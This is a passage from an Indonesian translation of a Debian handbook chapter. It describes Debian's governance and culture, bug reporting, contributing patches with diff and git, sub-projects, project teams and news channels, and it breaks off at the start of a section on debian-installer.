Prosedur "resolusi umum" sepenuhnya dirinci dalam konstitusi, dari periode diskusi awal hingga penghitungan akhir suara. Aspek yang paling menarik dari proses itu adalah bahwa ketika sampai ke pemberian suara yang sebenarnya, pengembang harus menentukan peringkat pilihan pemungutan suara yang berbeda antara mereka dan pemenang dipilih dengan metode Condorcet https://en.wikipedia.org/wiki/Condorcet_method (lebih khusus lagi, metode Schulze). Untuk lebih jelasnya lihat:

→ https://www.debian.org/devel/constitution

KULTUR Flamewar, diskusi yang memercikkan api (memancing emosi)

“Flamewar” adalah debat yang terlalu berapi-api, yang seringkali berakhir dengan pertengkaran antara satu pihak dengan pihak lainnya usai kedua pihak telah kehabisan argumentasi yang masuk akal. Beberapa tema tertentu sebenarnya lebih merupakan polemik bagi lainnya (contoh, pilihan penyunting teks, “Anda lebih suka vi atau emacs?”). Permasalahan ini seringkali memprovokasi hingga datang begitu cepat surel yang masuk akibat begitu banyaknya orang beserta pendapatnya dan sifat pertanyaan yang begitu personal.

Tidak ada yang berguna dari diskusi semacam ini; tetap jaga diri dari debat seperti ini, dan lewati saja isinya. Membaca lengkap akan sangat menghabiskan waktu.

Bahkan jika konstitusi ini menyediakan kemiripan dengan demokrasi, kenyataan sehari-hari cukup berbeda: Debian secara alami mengikuti peraturan perangkat lunak bebas do-ocracy: mereka yang melakukan, mereka yang menentukan. Banyak waktu dapat dihabiskan dengan mendebatkan keuntungan dari beragam pendekatan masalah; solusi yang akan dipilih pertama adalah solusi yang fungsional dan memuaskan... menghargai waktu yang dihabiskan oleh mereka yang kompeten.

Hanya inilah cara untuk mendapatkan kredit: lakukan sesuatu yang berguna dan tunjukkan telah bekerja dengan baik. Banyak tim “administratif” Debian bekerja berdasarkan perjanjian, lebih suka relawan yang telah berkontribusi secara efektif dan membuktikan kompetensinya. Metode ini praktis, karena mayoritas pekerjaan tim ini bersifat publik, sehingga dapat diakses oleh pengembang manapun yang tertarik. Oleh karena inilah Debian sering digambarkan sebagai “meritokrasi”.

KULTUR Meritokrasi, pemerintahan pengetahuan

Meritokrasi adalah bentuk pemerintahan yang mempercayakan kekuasaan kepada mereka yang berkontribusi paling hebat. Bagi Debian, merit adalah tolok ukur kompetensi, yang diukur dari observasi rekam jejak oleh mereka di dalam proyek (Stefano Zacchiroli, pemimpin proyek Debian saat ini, berbicara soal “do-ocracy”, yang berarti “kekuatan bagi mereka yang menyelesaikan”. Keberadaan sederhana mereka membuktikan tingkat kompetensi; pencapaian mereka secara umum dengan perangkat lunak bebas, dengan kode sumber yang tersedia, yang dapat dengan mudah di-review oleh olah orang lain untuk menilai kualitas mereka.

Metode efektif operasi ini menjamin kualitas dari kontributor merupakan “kunci” dalam tim Debian. Metode ini bukan berarti sempurna dan sesekali terdapat mereka yang tidak setuju dengan cara kerja ini. Seleski pengembang yang dipilih dalam tim bisa jadi terlihat arbitrer atau bahkan tak adil. Lebih lanjut, tak semuanya memiliki definisi yang sama dari layanan yang diharapkan dari tim ini. Untuk beberapa orang, merupakan hal yang tidak dapat diterima untuk mengguna selama 8 hari untuk memasukkan paket Debian baru, sementara lainnya tidak masalah akan bersabar menunggu selama 3 minggu. Kondisi seperti ini, terdapat keluhan rutin dari mereka yang tidak suka mengenai “kualitas layanan” dari beberapa tim.

KOMUNITAS Integrasi dari pengelola baru (new maintainers)

Tim yang bertanggung jawab untuk menerima pengembang baru adalah tim yang paling sering dikritik. Seseorang harus mengakui bahwa, selama bertahun-tahun, proyek Debian semakin menuntut pengembang yang dapat diterima. Beberapa orang melihat ketidakadilan dalam proses itu, namun kami harus mengakui bahwa yang awalnya hanya tantangan kecil bisa menjadi rumit dalam komunitas dengan jumlah lebih dari 1,000 orang, saat harus memastikan kualitas dan integritas dari yang semua Debian hasilkan bagi penggunanya.

Lebih lanjut, prosedur penerimaan disimpulkan dengan review dari tim kecil terhadap kandidat, Debian Account Managers. Manager ini secara khusus terekspos untuk dikritik, karena mereka yang memiliki keputusan akhir dari penerimaan atau penolakan relawan dalam komunitas pengembang Debian. Pada praktiknya, terkadang mereka harus menunda proses penerimaan seseorang hingga akhirnya mereka selesai mepelajari bagaimana cara kerja dari proyek. Tentunya seseorang dapat berkontribusi ke Debian tanpa diterima secara resmi sebagai pengembang Debian dengan cara disponsori oleh pengembang saat ini.

1.3.2. Peran Aktif dari Pengguna

Apakah relevan untuk menyebut pengguna di antara mereka yang bekerja dalam proyek Debian? Ya: mereka memiliki peran penting dalam proyek. Jauh dari sekadar "pasif", beberapa pengguna menjalakan Debian versi pengembangan dan secara rutin melaporkan bug untuk mengindikasikan masalah. Lainnya bahkan pergi jauh lebih dalam dengan memberikan ide perbaikan, dengan mengisi laporan kutu dengan tingkat severity “wishlist”, atau bahkan memberikan koreksi pada kode sumber, yang dinamakan sebagai “patches” (lihat Bagian 1.3.2.3, “Mengirim perbaikan”).

1.3.2.1. Melaporkan bug

Alat fundamental untuk melaporkan bug dalam Debian adalah Debian Bug Tracking System/Sistem Pelacakan Kutu (Debian BTS), yang dipakai oleh banyak bagian dari proyek. Bagian publik (antarmuka web) memungkinkan pengguna melihat semua kutu yang dilaporkan, dengan pilihan untuk menampilkan kutu berdasarkan beragam kriteria, seperti: paket yang terdampak, severity, status, alamat dari pelapor, alamat dari pengelola, tag, dll. Juga memungkinkan untuk menjelajahi daftar historikal lengkap semua diskusi dari setiap kutu.

Di bawah permukaan, Debian BTS berbasis surel: semua informasi yang disimpan berasal dari pesan yang dikirim oleh beragam orang yang terlibat. Setiap surel yang dikirim ke <12345@bugs.debian.org> akan ditugaskan ke rekam jejak untuk kutu no. 12345. Orang yang berhak dapat “menutup” dengan menulis pesan yang menjelaskan alasan dari keputusan untuk menutup ke <12345-done@bugs.debian.org> (sebuah kutu diungkapkan saat masalah indikasi dipecahkan atau tidak lagi relevan). Kutu baru dilaporkan dengan mengirimkan surel ke <submit@bugs.debian.org> berdasarkan format tertentu yang mengidentifikasi paket yang dipertanyakan. Alamat <control@bugs.debian.org> memungkinkan penyuntingan semua “informasi-meta” yang terkait dengan kutu.

Debian BTS memiliki fungsi lain, seperti penggunaan label untuk menandakan kutu. Untuk informasi lebih lanjut, silakan lihat

→ https://www.debian.org/Bugs/

KOSAKATA Tingkat severity dari bug

Severity dari bug secara formal menandakan tingkat pada masalah yang terindikasi. Dilihat secara efektivitas, tidak semua kutu sama penting; contohnya, kesalahan pengetikan pada halaman manual tidak dapat dibandingkan dengan kerawanan keamanan dalam perangkat lunak server.

Debian menggunakan skala severity untuk menandakan dengan tepat severity dari kutu. Setiap tingkat didefinisikan akurat agar dapat memfasilitasi pilihan.

→ https://www.debian.org/Bugs/Developer#severities

Para pengguna juga dapat memakai baris perintah untuk mengirim laporan kutu dari paket Debian dengan alat reportbug. Perkakas ini membantu memastikan kutu yang dipertanyakan belum pernah dikirim, sehingga mencegah pengulangan dalam sistem. Perkakas mengingatkan pengguna definisi dari tingkat severity, sehingga laporan dapat seakurat mungkin (pengembang selalu dapat memperbaiki parameter ini nanti). Membantu menulis laporan lengkap kutu tanpa pengguna harus tahu sintaks yang tepat, dengan menulisnya dan mengizinkan pengguna menyuntingnya. Laporan ini akan dikirim via server surel (secara default, remote yang dijalankan oleh Debian, namun reportbug dapat juga menggunakan server lokal).

Perkakas ini awalnya hanya ditujukan untuk versi pengembangan, yang hanya perhatian dengan penanganan kutu. Akibatnya versi stabil Debianbagaikan tertulis di batu, hanya dengan pengecualian pemutakhiran keamanan atau pemutakhiran lainnya (jika, sebagai contoh, sebuah paket tidak bekerja sama sekali). Koreksi minor dari kutu dalam paket Debian harus menunggu versi stabil berikutnya.

1.3.2.2. Terjemahan dan dokumentasi

Sebagai tambahan, banyak pengguna yang yang puas dengan layanan yang ditawarkan Debian suka memberikan kontribusi pada proyek mereka sendiri. Tidak semua orang memiliki tingkat kemahiran yang cukup dalam pemrograman, mereka memilih untuk untuk membantu penerjemahan dan meninjau dokumentasi. Terdapat milis spesifik bahasa tertentu untuk mengkoordinasikan pekerjaan ini.

→ https://lists.debian.org/i18n.html

→ https://www.debian.org/international/

KEMBALI KE DASAR Apa itu i18n dan l10n?

“i18n” dan “l10n” adalah kependekan dari kata “internationalization” dan “localization”, dengan cara mengambil huruf awal dan huruf akhir dari setiap kalimat, sementara angka menunjukkan jumlah huruf yang berada di antaranya.

Untuk “internationalize” sebuah program terdiri dari modifikasi sehingga dapat diterjemahkan (lokalisasi). Hal ini meliputi menulis ulang program parsial dengan cara bekerja dalam satu bahasa agar dapat terbuka pada semua bahasa.

Untuk “localize” program berarti terdiri dari menerjemahkan naskah asli (seringnya dalam Inggris) ke bahasa lain. Untuk melakukan ini, harus sudah di-internasionalisasi.

Ringkasnya, internasionalisasi menyiapkan perangkat lunak untuk diterjemahkan, yang selanjutnya dieksekusi dengan lokalisasi.

1.3.2.3. Mengirim perbaikan

Pengguna yang lebih mahir mungkin dapat memberikan perbaikan pada program dengan mengirimkan patch.

Sebuah patch adalah berkas yang menggambarkan perubahan yang perlu dibuat pada satu atau lebih berkas. Secara khusus, akan berisi daftar baris yang perlu dihapus atau ditambahkan pada kode, begitupun dengan baris yang perlu diambil dari teks referensi, mengganti modifikasi dalam konteks (mereka memungkinkan identifikasi dari penempatan perubahan jika nomor baris telah berubah).

Perkakas yang digunakan untuk menerapkan modifikasi dalam berkas dinamakan patch. Perkakas yang membuatnya disebut diff, dan berikut ini cara menggunakannya:

$ diff -u file.old file.new >file.patch

Berkas file.patch berisi instruksi untuk mengganti isi dari file.old ke file.new. Kita dapat mengirimkannya pada seseorang, yang dapat menggunakannya untuk membuat ulang file.new dari dua lainnya dengan cara seperti ini:

$ patch -p0 file.old <file.patch

Berkas file.old sekarang identik dengan file.new.

Dalam praktiknya, sebagian besar perangkat lunak dipelihara dalam repositori Git dan kontributor dengan demikian lebih mungkin menggunakan git untuk mengambil kode sumber dan mengusulkan perubahan. git diff akan menghasilkan berkas dalam format yang sama dengan apa yang diff -u lakukan dan git apply dapat melakukan hal yang sama seperti patch.

KULTUR Git

Git adalah alat untuk kerja kolaborasi pada beberapa berkas, sambil mempertahankan sejarah modifikasi. Berkas yang dimaksud umumnya adalah berkas teks, seperti misalnya kode sumber program. Jika beberapa orang bekerja bersama-sama pada berkas yang sama, git hanya dapat menggabungkan perubahan-perubahan yang dibuat jika mereka dibuat untuk bagian-bagian yang berbeda dari file. Bila tidak, "konflik" ini harus diselesaikan secara manual.

Git adalah sistem terdistribusi di mana setiap pengguna memiliki repositori dengan sejarah lengkap dari perubahan. Repositori utama digunakan untuk mengunduh proyek (git clone) dan untuk berbagi pekerjaan yang dilakukan dengan orang lain (git push). Repositori bisa mengandung beberapa versi berkas tetapi hanya satu versi dapat digarap pada waktu tertentu: ini disebut salinan kerja (dapat diubah untuk menunjuk ke versi lain git checkout). Git dapat menunjukkan kepada Anda modifikasi yang dibuat atas salinan kerja (git diff), dapat menyiapkan perubahan untuk disertakan (git add), dapat dengan menciptakan entri baru dalam sejarah versi (git commit). Itu juga dapat memperbarui salinan kerja untuk memasukkan modifikasi yang dilakukan secara paralel oleh pengguna lain (git pull), dan dapat merekam konfigurasi tertentu dalam sejarah agar dapat dengan mudah diekstrak nanti (git tag).

Git membuatnya mudah untuk menangani beberapa versi bersamaan proyek dalam pengembangan tanpa mereka mengganggu satu sama lain. Versi ini disebut branch. Metafora pohon ini cukup akurat, karena program ini awalnya dikembangkan pada batang umum. Ketika sebuah tonggak telah tercapai (seperti versi 1.0), pengembangan terus pada dua cabang: cabang pengembangan mempersiapkan rilis besar berikutnya, dan cabang pemeliharaan mengelola pembaruan dan perbaikan untuk versi 1.0.

Git adalah, saat ini, sistem kendali versi yang paling populer tetapi bukan satu-satunya. Secara historis, CVS (Concurrent versi sistem) adalah alat pertama yang digunakan secara luas tetapi berbagai keterbatasannya memberikan kontribusi terhadap munculnya alternatif gratis yang lebih modern. Ini termasuk, terutama, subversion (svn), git, bazaar (bzr), dan mercurial (hg).

→ https://www.nongnu.org/cvs/

→ https://subversion.apache.org/

→ https://git-scm.com/

→ https://bazaar.canonical.com/

→ http://mercurial.selenic.com/

Di luar cakupan buku ini untuk memberikan penjelasan rinci tentang Git, untuk itu Anda dapat merujuk ke buku Pro Git.

→ https://git-scm.com/book/

Sementara keluaran git diff adalah berkas yang dapat dibagikan dengan pengembang lain, biasanya ada cara yang lebih baik untuk mengirimkan perubahan. Jika pengembang lebih suka mendapatkan patch melalui surel, mereka biasanya menginginkan patch yang dihasilkan dengan git format-patch sehingga mereka dapat langsung diintegrasikan dalam repositori dengan git am. Ini mempertahankan meta-informasi commit dan memungkinkan untuk berbagi beberapa commit sekaligus.

Alur kerja berbasis surel ini masih populer tetapi cenderung digantikan oleh penggunaan permintaan merge (atau permintaan pull) setiap kali perangkat lunak dihosting dalam platform seperti GitHub atau GitLab — dan Debian menggunakan GitLab di server salsa.debian.org. Pada sistem tersebut, setelah Anda membuat akun, Anda mem-fork repositori, secara efektif membuat salinan repositori di akun Anda sendiri, dan Anda kemudian dapat meng-klon repositori itu dan mem-push perubahan Anda sendiri di dalamnya. Dari sana, antarmuka web akan menyarankan Anda untuk mengirimkan permintaan merge, memberi tahu pengembang tentang perubahan Anda, sehingga mudah bagi mereka untuk meninjau dan menerima perubahan Anda dengan satu klik.

1.3.2.4. Cara lain untuk berkontribusi

Semua mekanisme ini didorong oleh perilaku pengguna. Jauh dari keadaan terisolasi, mereka merupakan komunitas di mana pertukaran sungguh terjadi. Kami sangat menghargai aktivitas impresif dari pengguna dalam milis diskusi <debian-user@lists.debian.org> (Bab 7, Memecahkan Masalah dan Menemukan Informasi yang Relevan mendiskusikan hal ini lebih detail).

→ https://lists.debian.org/users.html

Tidak hanya pengguna membantu mereka (dan lainnya) dalam isu teknis yang berakibat langsung pada mereka, mereka juga mendiskusikan cara terbaik berkontribusi pada proyek Debian, dan membantu meneruskannya — diskusi yang seringkali menghasilkan saran untuk perbaikan.

PERKAKAS how-can-i-help

Program how-can-i-help mencantumkan peluang untuk berkontribusi pada paket Debian yang diinstal secara lokal. Setelah setiap permintaan APT, ini menunjukkan cara untuk membantu, dengan menyoroti bug yang ditandai "pendatang baru" (yang merupakan jalur masuk mudah untuk kontributor baru) atau paket yatim piatu yang membutuhkan pengelola baru. Program ini dapat dijalankan secara langsung juga.

Karena Debian tidak mengeluarkan dana untuk kampanye promosi, pengguna memiliki peran penting dalam hal difusi, memastikan kehebatan Debian melalui mulut-ke-mulut.

Metode ini berfungsi dengan baik, karena penggemar Debian ada pada setiap tingkatan komunitas pengembang perangkat lunak bebas: dari pesta instalasi (workshop di mana para pengguna yang lebih berpengalaman membantu para pendatang baru untuk menginstall sistem) yang diorganisir oleh LUG atau “Linux User Groups” lokal, hingga stand asosiasi pada konvensi teknologi besar yang berurusan dengan Linux, dsb.

Relawan membuat poster, brosur, dan materi promosi lain yang bermanfaat untuk proyek. Ini semua tersedia untuk publik dan Debian menyediakannya secara bebas dalam situs web dan wiki:

→ https://www.debian.org/events/material

1.3.3. Tim dan Sub-Proyek

Debian dikelola dengan konsep sumber paket, dengan setiap pengelola atau sekelompok pengelola. Banyak karya yang lambat laun bermunculan, memastikan administrasi dari infrastruktur, pengelolaan pekerjaan yang tidak spesifik pada paket tertentu (penjaminan kualitas, Debian Policy, installer, dll.), dengan tim terbaru tumbuh di sekitar sub-proyek.

1.3.3.1. Sub-Proyek Debian Saat Ini

Menuju Debian milik mereka masing-masing! Sebuah sub-proyek adalah kelompok relawan yang tertarik mengadaptasi Debian untuk kebutuhan tertentu. Selain memilih suatu sub grup program yang diperuntukkan untuk domain tertentu (pendidikan, kesehatan, pembuatan multimedia, dll.), sub proyek juga terlibat dalam meningkatkan paket-paket yang ada saat ini, pemaketan perangkat lunak yang kurang, adaptasi installer, membuat dokumentasi spesifik, dan masih banyak lagi.

KOSAKATA Sub-proyek dan distribusi turunan

Proses pengembangan distribusi turunan terdiri dari memulai dengan versi tertentu Debian dan membuat beberapa modifikasi. Infrastruktur yang digunakan untuk pekerjaan ini tidak menggunakan infrastruktur proyek Debian. Sebenarnya tidak ada kebijakan untuk mengkontribusikan perbaikan. Perbedaan ini menjelaskan bagaimana distribusi derivatif dapat “bercabang” dari asalnya, dan mengapa mereka harus sinkronisasi ulang secara teratur dengan sumbernya agar dapat mengambil keuntungan dari perbaikan yang dibuat di upstream.

Di sisi lain, sub-proyek tidak dapat bercabang, karena semua pekerjaan yang dibuat adalah secara langsung memperbaiki Debian agar dapat mencapai tujuan tertentu.

Distribusi derivatif dari Debian yang paling terkenal, tanpa perlu ragu, adalah Ubuntu, namun ada banyak. Lihat Lampiran A, Distro Turunan untuk mempelajari mengenai kekhasan dan posisi mereka dalam hubungannya dengan Debian.

Berikut ini adalah beberapa sub-proyek pilihan yang ada saat ini:

- Debian Jr., oleh Ben Armstrong, menawarkan sistem Debian yang menarik dan mudah digunakan bagi anak-anak;

- Debian Edu, oleh Petter Reinholdtsen, fokus pada pembuatan distribusi khusus untuk dunia akademis;

- Debian Med, oleh Andreas Tille, didedikasikan untuk bidang medis;

- Debian Multimedia yang berkaitan dengan karya multimedia dan audio;

- Debian GIS yang mengurus aplikasi-aplikasi dan para pengguna Sistem Informasi Geografis;

- Debian Accessibility, meningkatkan Debian agar sesuai dengan kebutuhan dari orang-orang cacat;

- Debian Science, akhirnya, berupaya memberikan pengalaman yang lebih baik kepada para peneliti dan ilmuwan yang menggunakan Debian.

- DebiChem, yang ditargetkan pada Kimia, menyediakan keluarga dan program kimia.

Banyaknya proyek ini akan terus berkembang seiring berjalannya waktu dan persepsi yang membaik atas keuntungan dari sub-proyek Debian. Dengan dukungan penuh dari infrastruktur Debian, mereka dapat fokus pada pekerjaan dengan penambahan nilai nyata tanpa harus khawatir tentang sinkronisasi dengan Debian, karena mereka dikembangkan di dalam proyek.

1.3.3.2. Tim Administratif

Mayoritas tim administratif relatif dekat dan perekrutan hanya dilakukan dengan cara kooptasi. Cara terbaik untuk bergabung adalah dengan membantu secara cerdas anggota saat ini, menunjukkan bahwa Anda telah mengerti objektif dan metoda operasi.

ftpmasters bertanggung jawab atas arsip ofisial paket Debian. Mereka mengelola program yang menerima paket dikirim oleh pengembang dan secara otomatis menyimpannya, setelah beberapa pemeriksaan pada server acuan (ftp-master.debian.org).

Mereka juga harus memverifikasi lisensi dari semua paket baru untuk memastikan bahwa Debian dapat mendistribusikan mereka, sebelum memasukkan mereka dalam korpus paket saat ini. Saat seorang pengembang ingin menghapus sebuah paket, mereka mengungkapkan masalah ini pada tim melalui sistem pelacakan kutu dan "pseudo-package" di ftp.debian.org.

KOSAKATA pseudo-package, perkakas monitoring

Sistem pelacakan bug, awalnya didesain untuk mengasosiasikan laporan bug dengan paket Debian, telah terbukti sangat praktis untuk mengelola hal lain: daftar masalah yang perlu dipecahkan atau tugas untuk dikelola tanpa harus terkait ke paket Debian tertentu. "pseudo-packages" memungkinkan suatu tim menggunakan sistem pelacakan bug tanpa harus mengasosiasikan paket sesungguhnya dengan timnya. Semuanya lantas dapat melaporkan isu yang perlu ditangani. Sebagai contoh, BTS memiliki entri ftp.debian.org untuk melaporkan dan melacak masalah pada arsip paket resmi atau sekedar meminta penghapusan sebuah paket. Mirip itu, pseudo-package www.debian.org mengacu ke kesalahan-kesalahan pada situs web Debian dan lists.debian.org mengumpulkan semua masalah terkait dengan milis.

ALAT GitLab, hosting repositori Git dan lebih banyak lagi

Instance GitLab, yang dikenal sebagai salsa.debian.org, digunakan oleh Debian untuk meng-host repositori pemaketan Git; tetapi perangkat lunak ini menawarkan lebih dari sekadar hosting sederhana dan kontributor Debian telah dengan cepat memanfaatkan fitur integrasi berkelanjutan (continuous integration; menjalankan tes, atau bahkan membangun paket, pada setiap push). Kontributor Debian juga mendapatkan manfaat dari alur kerja kontribusi yang lebih bersih berkat proses permintaan merge yang dipahami dengan baik (mirip dengan permintaan pull GitHub).

GitLab menggantikan FusionForge (yang berjalan pada layanan yang dikenal sebagai alioth.debian.org) untuk pemeliharaan paket kolaboratif. Layanan ini dikelola oleh Alexander Wirt, Bastian Blank, dan Jörg Jaspert.

→ https://salsa.debian.org/

→ https://wiki.debian.org/Salsa/Doc

Tim Administrator Sistem Debian (DSA) (<debian-admin@lists.debian.org>), seperti yang diharapkan, bertanggung jawab untuk administrasi sistem dari banyak server digunakan oleh proyek. Mereka memastikan fungsi optimal dari semua layanan dasar (DNS, Web, e-mail, shell, dll), memasang perangkat lunak yang diminta oleh para pengembang Debian, dan mengambil semua tindakan pencegahan dalam hal keamanan.

→ https://dsa.debian.org

ALAT Pelacak Paket Debian

Ini adalah salah satu kreasi Raphaël. Ide dasarnya adalah, bagi sebuah paket, untuk mensentralisasi informasi sebanyak mungkin pada satu halaman. Jadi, seseorang dapat dengan cepat memeriksa status program, mengidentifikasi tugas yang perlu diselesaikan, dan menawarkan bantuan. Inilah sebabnya mengapa halaman ini mengumpulkan semua statistik bug, versi yang tersedia di setiap distribusi, kemajuan sebuah paket di distribusi Testing, status terjemahan deskripsi dan template debconf, kemungkinan ketersediaan versi hulu baru, pemberitahuan ketidakpatuhan dengan versi terbaru dari Kebijakan Debian, informasi tentang pengelola, dan informasi lainnya yang ingin disertakan oleh pemeliharanya.

→ https://tracker.debian.org/

Sebuah layanan langganan surel melengkapi tampilan antarmuka web ini. Secara otomatis ini mengirimkan informasi yang dipilih berikut ke milis: bug dan diskusi terkait, ketersediaan dari versi baru pada server Debian, terjemahan baru siap untuk diperiksa, dll.

Pengguna mahir lantas dapat mengikuti semua informasi ini dan bahkan berkontribusi pada proyek, setelah mereka cukup mengerti bagaimana cara kerjanya.

Tampilan antarmuka web lainnya, dikenal sebagai Debian Developer's Packages Overview (DDPO), menyediakan bagi setiap pengembang sinopsis dari status semua paket Debian yang ada di bawah kendali mereka.

→ http://qa.debian.org/developer.php

Kedua situs adalah alat yang dikembangkan dan dikelola oleh grup yang bertanggung jawab untuk jaminan kualitas dalam Debian (dikenal sebagai Debian QA).

listmasters mengelola server milis. Mereka membuat milis baru, mengelola bounces (email yang gagal terkirim), dan mengelola filter spam (email yang tak diinginkan dalam jumlah banyak).

KULTUR Lalu lintas dalam milis: beberapa gambar: beberapa gambar

Milis, tanpa ragu, adalah saksi terbaik dari aktivitas suatu proyek, karena mereka melacak semua yang terjadi. Angka-angka (dari Mei 2019) terkait milis kami berbicara sendiri: Debian mewadahi sekitar 315 milis, dengan lebih dari 303.000 pelanggan individu. Setiap hari terkirim 227.000 pesan.

Setiap layanan spesifik memiliki tim administrasi sistem masing-masing, biasanya terdiri dari relawan yang memasangnya (dan juga seringkali memrogram sendiri perkakas terkait). Ini yang terjadi pada bug tracking system (BTS), pelacak paket, salsa.debian.org (server GitLab, lihat kotak sisi ALAT GitLab, hosting repositori Git dan lebih banyak lagi), layanan yang tersedia di qa.debian.org, lintian.debian.org, buildd.debian.org, cdimage.debian.org, dll.

1.3.3.3. Tim Pengembang, Tim Transversal

Tidak seperti tim administratif, tim pengembang relatif lebih terbuka, bahkan pada kontributor luar. Bahkan jika Debian tidak memiliki lokasi untuk membuat perangkat lunak, proyek Debian membutuhkan program spesifik untuk memenuhi tujuannya. Tentu, dikembangkan di bawah lisensi perangkat lunak bebas, perkakas ini menggunakan metode yang sudah terbukti di dalam dunia perangkat lunak bebas.

Debian telah mengembangkan perangkat lunak serderhana dengan versinya sendiri, namun beberapa program telah mendapat peran penting, dan kemasyhurannya telah melampaui batasan proyek. Contoh yang baik adalah dpkg, program pengelola paket Debian (pada praktiknya, dpkg merupakan kependekan dari Debian PacKaGe, dan biasanya diucapkan sebagai "dee-package"), dan apt, perkakas untuk memasang secara otomatis paket Debian berikut dengan kebergantungannya, yang menjamin konsistensi sistem setelah pemutakhiran (apt merupakan kependekan dari Advanced Package Tool). Namun timnya jauh lebih kecil, karena kemampuan pemrograman tingkat tinggi yang dibutuhkan untuk memahami secara keseluruhan operasi-operasi dari program jenis ini.

Tim yang paling penting mungkin adalah tim program instalasi Debian, debian-installer, yang telah menyelesaikan begitu banyak pekerjaan monumental dari awal konsepnya di tahun 2001. Begitu banyak kontributor dibutuhkan, karena sulitnya menulis satu program untuk memasang Debian pada lusinan arsitektur yang berbeda. Setiap arsitektur memiliki mekanisme boot dan bootloadernya sendiri-sendiri. Semua pekerjaan ini dikoordinasikan dalam milis <debian-boot@lists.debian.org>, di bawah arahan Cyril Brulebois.

→ https://www.debian.org/devel/debian-installer/

→ https://joeyh.name/blog/entry/d-i_retrospective/

Tim program debian-cd (yang sangat kecil) memiliki obyektif yang lebih sederhana. Banyak kontributor "kecil" bertanggung jawab pada aristekturnya masing-masing, karena pengembang utama tidak bisa mengetahui semua hingga detailnya, atau cara persisnya bagaimana memulai pemasang dari CD-ROM.

Banyak tim harus berkolaborasi dengan yang lainnya dalam melakukan pemaketan: <debian-qa@lists.debian.org> mencoba, sebagai contoh, memastikan kualitas pada semua tingkatan dari proyek Debian. <debian-policy@lists.debian.org> milis mengembangkan Debian Policy berdasarkan proposal dari berbagai tempat. Tim ini bertanggung jawab untuk setiap arsitektur (<debian-architecture@lists.debian.org>) meng-compile semua paket, mengadaptasi mereka pada arsitektur tertentu, jika dibutuhkan.

Tim lain yang mengelola paket paling penting agar dapat memastikan pemeliharaan tanpa menempatkan beban yang terlalu berat hanya pada seseorang; hal ini terjadi pada pustaka C dan <debian-glibc@lists.debian.org>, compiler C pada <debian-gcc@lists.debian.org>, atau Xorg pada <debian-x@lists.debian.org> (grup ini dikenal juga sebagai X Strike Force).

1.4. Ikuti Berita Debian

Seperti yang sudah disebutkan sebelumnya, proyek Debian berevolusi secara sangat terdistribusi, dan sangat organik. Sebagai konsekuensinya, bisa jadi sangat sulit untuk tetap mengetahui apa yang terjadi di dalam proyek tanpa harus pusing dengan notifikasi yang begitu banyak dan tak pernah berhenti.

Jika Anda hanya menginginkan hanya berita yang paling penting saja mengenai Debian, Anda mungkin perlu berlangganan ke milis <debian-announce@lists.debian.org>. Milis ini memiliki jumlah pesan yang sangat sedikit (hanya sekitar satu lusin setiap tahunnya), dan hanya memberikan pengumuman yang penting, seperti ketersediaan rilis stable baru, pemilihan Project Leader baru, atau mengenai Debian Conference tahunan.

→ https://lists.debian.org/debian-announce/

Berita yang lebih umum (dan rutin) mengenai Debian dikirim ke milis <debian-news@lists.debian.org>. Jumlah pesan pada milis ini masih masuk akal (umumnya beberapa pesan dalam satu bulan), dan termasuk "Berita Proyek Debian" hampir berkala, yang merupakan kompilasi dari berbagai informasi kecil tentang apa yang terjadi di dalam proyek.

→ https://lists.debian.org/debian-news/

KOMUNITAS Tim publisitas

Kanal komunikasi resmi Debian ditangani oleh relawan dari tim publisitas Debian. Mereka merupakan delegasi dari Debian Project Leader dan memoderasi berita dan pengumuman yang diposting di sana. Banyak relawan lain berkontribusi ke tim, misalnya, dengan menulis konten untuk “Debian Project News”, blog resmi Debian (bits.debian.org) atau layanan mikroblog (micronews.debian.org), yang memasok situs-situs jejaring sosial dengan kontek mikroblog.

→ https://wiki.debian.org/Teams/Publicity

Untuk informasi lebih lanjut mengenai evolusi dari Debian dan apa yang terjadi pada suatu waktu dalam berbagai tim, terdapat juga milis <debian-devel-announce@lists.debian.org>. Sesuai dengan namanya, pada milis ini akan disampaikan hal-hal yang menarik bagi para pengembang, dan juga pihak-pihak yang tertarik untuk tetap mengetahui secara lebih konkret saat versi stable baru dirilis. Sementara <debian-announce@lists.debian.org> memberikan berita mengenai hasil yang terlihat oleh pengguna, <debian-devel-announce@lists.debian.org> memberikan berita bagaimana hasil ini dibuat. Sebagai catatan samping, “d-d-a” (lebih sering dikenal seperti ini) merupakan satu-satunya milis yang wajib diikuti oleh para pengembang Debian.

→ https://lists.debian.org/debian-devel-announce/

Blog resmi Debian (bits.debian.org) juga merupakan sumber informasi yang baik. Ini menyampaikan sebagian besar berita menarik yang diterbitkan di berbagai milis yang sudah kami bahas dan berita penting lainnya yang disumbangkan oleh anggota masyarakat. Karena semua pengembang Debian dapat mengkontribusikan berita-berita ini ketika mereka berpikir mereka memiliki sesuatu yang penting untuk dipublikasikan, blog Debian memberikan wawasan berharga sambil tetap agak fokus pada proyek secara keseluruhan.

Sumber informasi informal dapat juga ditemukan pada Planet Debian, yang mengagregasi artikel yang ditulis oleh para kontributor Debian dalam blog-nya masing-masing. Isi-nya tidak secara eksklusif mengenai pengembangan Debian, mereka memberikan pandangan mengenai apa yang terjadi dalam komunitas dan apa yang sedang mereka lakukan.

→ https://planet.debian.org/

Proyek Debian juga hadir dalam jejaring sosial. Sementara Debian hanya memiliki kehadiran secara resmi dalam Identi.ca (seperti platform microblog, yang didukung oleh pump.io), tapi ada beberapa akun yang memancarkan ulang asupan RSS dari micronews.debian.org dan banyak kontributor Debian yang memposting pada akun-akun tidak resmi.

→ https://identi.ca/debian

→ https://fosstodon.org/@debian

→ https://twitter.com/debian

→ https://www.facebook.com/debian

→ https://www.flickr.com/groups/debian

→ https://www.linkedin.com/company/debian

1.5. Peran dari Distribusi

Sebuah distribusi GNU/Linux memiliki dua tujuan utama yaitu: install sebuah sistem operasi bebas dalam komputer (baik apakah sudah sebelumnya sudah terinstall sistem operasi atau belum), dan menyediakan beragam perangkat lunak yang memenuhi kebutuhan pengguna.

1.5.1. Peng-install: debian-installer

debian-installer didesain dengan sangat modular agar dapat berlaku seumum mungkin, membidik tujuan pertama. Itu mencakup berbagai situasi instalasi yang sangat beragam dan secara umum dapat memfasilitasi pembuatan installer turunan yang sesuai dengan kasus khusus.

